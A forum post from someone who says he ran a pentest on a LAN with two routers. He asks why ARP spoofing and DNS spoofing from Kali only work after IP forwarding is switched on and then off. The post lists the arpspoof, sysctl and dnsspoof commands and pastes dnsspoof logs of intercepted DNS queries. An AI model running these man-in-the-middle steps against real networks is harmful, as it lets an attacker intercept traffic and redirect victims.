Jump to content

Kali DnsSpoof in a weird network


Recommended Posts

Hi, I did a pentest in a LAN, some weird things happened.

This LAN is a little unusual, there are two routers, say A and B, A is directly connected to an optical fiber, doing PPPoE, to the WAN, it has a gateway of, B is connected to A, wireless router, with a gateway of All the clients and my Kali machine are connected to B. Target has an IP of

Here is what I did with Kali, I use the following to arp spoof the target and router B 

arpsoof  -i  eth0  -t
arpsoof  -i  eth0  -t
sysctl -w net.ipv4.ip_forward=1

Then I did a Dns Spoof with

dnsspoof  -i  eth0  -f  dnshost.spoof

It did not work, all the traffic went through my Kali, but the target was still able to access the original webpage.

And here comes the weird thing. I stopped the dnsspoof, stopped the ip forwarding

sysctl -w  net.ipv4.ip_forward=0

and I started the exactly the same exact dnsspoof as last time again, it worked!

This really confused me, because after that, I tried to start arpspoof and dnsspoof without setting ip_forward to 1 at all, I left it to be the default 0, and it did not work, because the arp traffic was not working (which is excepted!!). ArpSpoof and dnsspoof both work ONLY IF the process "ip forwarding is firstly enabled and then disabled" completed once, before launching dnsspoof. Ip forwarding only on gives dnsspoof not working, ip forwarding only always off gives arpspoof not working.

Besides that, two more strange things I failed to understand.

1, Sometimes, the "ip forward on and off" cycle must be done in the same terminal where the dnsspoof takes place, in order to make it work. Switching on then off in another terminal simply leads to arpspoof failure.

2, Here is the log/feedback of a DnsSpoof

root@kali:~# dnsspoof -i eth0 -f dnshost.spoof 
dnsspoof: listening on eth0 [udp dst port 53 and not src] >  4678+ A? www.youtube.com >  4678+ A? www.youtube.com >  31827+ A? www.youtube.com >  31827+ A? www.youtube.com >  51608+ A? www.sina.com >  51608+ A? www.sina.com >  5651+ A? www.sina.com >  5651+ A? www.sina.com >  2950+ A? www.sina.com >  41196+ A? www.facebook.com >  41196+ A? www.facebook.com >  6912+ A? www.facebook.com >  6912+ A? www.facebook.com
^Croot@kali:~# dnsspoof -i eth0 -f dnshost.spoof 
dnsspoof: listening on eth0 [udp dst port 53 and not src] >  60485+ A? www.youtube.com >  60485+ A? www.youtube.com >  28894+ A? www.sina.com >  28894+ A? www.sina.com

The second launch was a failed one, the first one succeeded. The router I am targeting should be, as the router B, in the second launch, it is interacting with only router A (, I am not sure what does that mean and if it has something to do with the failure directly, because in the next few attempts, a feedback situation like this second launch worked sometimes.


I am almost 100% sure this issue was due to the two routers, but I am still not able to understand why, or even find a way to make it always work. Please, any suggestion will be appreciated! Thanks

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...